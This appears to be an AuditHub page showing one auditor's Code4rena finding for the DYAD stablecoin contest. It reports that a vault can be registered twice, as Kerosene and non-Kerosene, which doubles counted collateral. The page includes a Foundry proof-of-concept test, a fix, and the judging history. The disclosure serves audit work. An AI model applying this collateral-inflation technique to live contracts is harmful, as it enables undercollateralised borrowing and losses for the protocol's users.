DYAD - neocrao's results

The first capital efficient overcollateralized stablecoin.

General Information

Platform: Code4rena

Start Date: 18/04/2024

Pot Size: $36,500 USDC

Total HM: 19

Participants: 183

Period: 7 days

Judge: Koolex

Id: 367

League: ETH

DYAD

Findings Distribution

Researcher Performance

Rank: 155/183

Findings: 1

Award: $0.28

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L66-L91

Vulnerability details

A dNFT owner can add vaults to their dNFT. The vault can either be a Kerosene vault, or non-Kerosene vault.

Also, the protocol requires that the users maintain 150% collaterization for the DYADs that are minted. The collateral ratio is calculated based on the USD values of the vaults added to the dNFT.

But, a dNFT owner can add the same vault as both Kerosene vault, and as a non-Kerosene vault, and so when the total USD value of the collateral is calculated, the vault's USD value is counted twice.

  /// @inheritdoc IVaultManager
  function add(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults();
    if (!vaultLicenser.isLicensed(vault))  revert VaultNotLicensed();
    if (!vaults[id].add(vault))            revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

  function addKerosene(
      uint    id,
      address vault
  ) 
    external
      isDNftOwner(id)
  {
    if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
    if (!keroseneManager.isLicensed(vault))                 revert VaultNotLicensed();
    if (!vaultsKerosene[id].add(vault))                     revert VaultAlreadyAdded();
    emit Added(id, vault);
  }

We can see in the above add functions that there is no check that prevents a vault from getting added to both vaults and vaultsKerosene.

Now, when the total USD value of a dNFT is calculated, it counts the vault as both Kerosene vault and non-Kerosene vault, which leads to double of the actual total USD value, which thereby doubles their collateral ratio.

function getTotalUsdValue(
    uint id
  ) 
    public 
    view
    returns (uint) {
      return getNonKeroseneValue(id) + getKeroseneValue(id);
  }

Impact

The dNFT owner does not have to maintain 150% collateral ratio, and just needs to maintain 75% of the collateral ratio to not get liquidated.

Proof of concept

Use the following test file for the POC.

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Test.sol";

import {ERC20} from "@solmate/src/tokens/ERC20.sol";

import {Contracts, DeployV2} from "../script/deploy/Deploy.V2.s.sol";
import {DNft} from "../src/core/DNft.sol";
import {Dyad} from "../src/core/Dyad.sol";
import {Licenser} from "../src/core/Licenser.sol";
import {Parameters} from "../src/params/Parameters.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";

contract VaultManagerV2Test is Test, Parameters {
    DNft dNft;
    Dyad dyad;

    VaultManagerV2 vaultManager;

    // weth
    Vault wethVault;
    ERC20 weth;

    address thisAddress;

    function setUp() public {
        dNft = DNft(MAINNET_DNFT);
        dyad = Dyad(MAINNET_DYAD);

        weth = ERC20(MAINNET_WETH);

        Contracts memory contracts = new DeployV2().run();
        vaultManager = contracts.vaultManager;
        wethVault = contracts.ethVault;

        Licenser licenser = Licenser(dyad.licenser());
        vm.prank(licenser.owner());
        licenser.add(address(vaultManager));

        thisAddress = address(this);

        deal(address(weth), thisAddress, 9999999 ether);
    }

    function testSameVaultAddedTwiceIncreasesCR() public {
        uint256 amountOfCollateralToDeposit = 1e18;
        uint256 amountOfDyadToMint = 1e18;

        uint256 id = dNft.mintNft{value: 1 ether}(thisAddress);

        deposit(id, address(wethVault), amountOfCollateralToDeposit);

        vaultManager.mintDyad(id, amountOfDyadToMint, thisAddress);

        uint256 collateralRatio1 = vaultManager.collatRatio(id);
        vaultManager.addKerosene(id, address(wethVault));
        uint256 collateralRatio2 = vaultManager.collatRatio(id);

        assertTrue(collateralRatio2 / 2 >= collateralRatio1);
    }

    function deposit(uint256 id, address vault, uint256 amount) public {
        vaultManager.add(id, vault);
        weth.approve(address(vaultManager), amount);
        vaultManager.deposit(id, vault, amount);
    }

    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
        return 0x150b7a02;
    }

    receive() external payable {}
}

Tools Used

Manual Review

  • Do not let the same vault be added as both Kerosene and non-Kerosene vaults.

Assessed type

Other

#0 - c4-pre-sort

2024-04-28T07:03:59Z

JustDravee marked the issue as duplicate of #966

#1 - c4-pre-sort

2024-04-29T08:37:42Z

JustDravee marked the issue as sufficient quality report

#2 - c4-judge

2024-05-04T09:46:24Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#3 - c4-judge

2024-05-29T11:19:55Z

koolexcrypto marked the issue as duplicate of #1133

#4 - c4-judge

2024-05-29T14:03:51Z

koolexcrypto marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter